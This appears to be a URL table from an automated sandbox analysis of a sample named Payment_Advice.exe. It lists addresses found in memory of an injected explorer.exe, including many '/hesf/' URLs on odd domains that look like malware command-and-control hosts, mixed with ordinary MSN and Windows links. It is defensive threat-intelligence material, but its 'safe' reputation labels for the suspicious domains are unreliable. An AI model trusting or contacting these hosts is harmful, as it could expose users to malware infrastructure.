http://www.shayun.net/hesf/www.brownkrosshui.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/autoit3/	Payment_Advice.exe, 00000000.00000003.1414188164.000000000789D000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp.0.dr	false		high
http://www.pendletonofficial.shopReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pendletonofficial.shop/hesf/www.shayun.net	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.homespy.net/hesf/	explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jf66899j.com/hesf/www.jimenezfarmersinsurance.shop	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.othersidewear.com/hesf/www.91fulizifen.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jimenezfarmersinsurance.shop/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.microsoft.c	explorer.exe, 0000000F.00000003.2284163967.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3856158250.0000000009237000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.im-newbie-journal.online/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOSd	explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.svgco.lifeReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.1320detailingsupplies.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.brownkrosshui.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jimenezfarmersinsurance.shopReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.1320detailingsupplies.com/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pendletonofficial.shop/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com	explorer.exe, 0000000F.00000002.3864604244.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.othersidewear.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.87b52.club	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tygyro.com/hesf/www.87b52.club	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.87b52.clubReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pendletonofficial.shop	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 0000000F.00000003.2285903553.000000000BCB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BCB7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3078591847.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BCBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1596839591.000000000BC80000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg	explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.pancakesandwaflesbeverages.netReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.schistdisc.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.87b52.club/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.homespy.netReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jf66899j.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.1320detailingsupplies.comReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.brownkrosshui.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.schistdisc.com/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 0000000F.00000002.3856158250.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2284163967.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jf66899j.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.schistdisc.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.jf66899j.com/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.im-newbie-journal.onlineReferer:	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 0000000F.00000002.3853009126.0000000007710000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.1585353154.0000000002C80000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000002.3853115679.0000000007720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.brownkrosshui.com/hesf/	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg	explorer.exe, 0000000F.00000003.2285656371.0000000006F30000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1588663028.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077679247.0000000006F33000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3851068029.0000000006F33000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/EM0	explorer.exe, 0000000F.00000000.1596839591.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077912790.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2286640369.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3864604244.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.91fulizifen.com	explorer.exe, 0000000F.00000003.2285592376.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3891793331.0000000011121000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3077050446.000000001111A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2285425330.0000000011119000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.3076243604.0000000011119000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
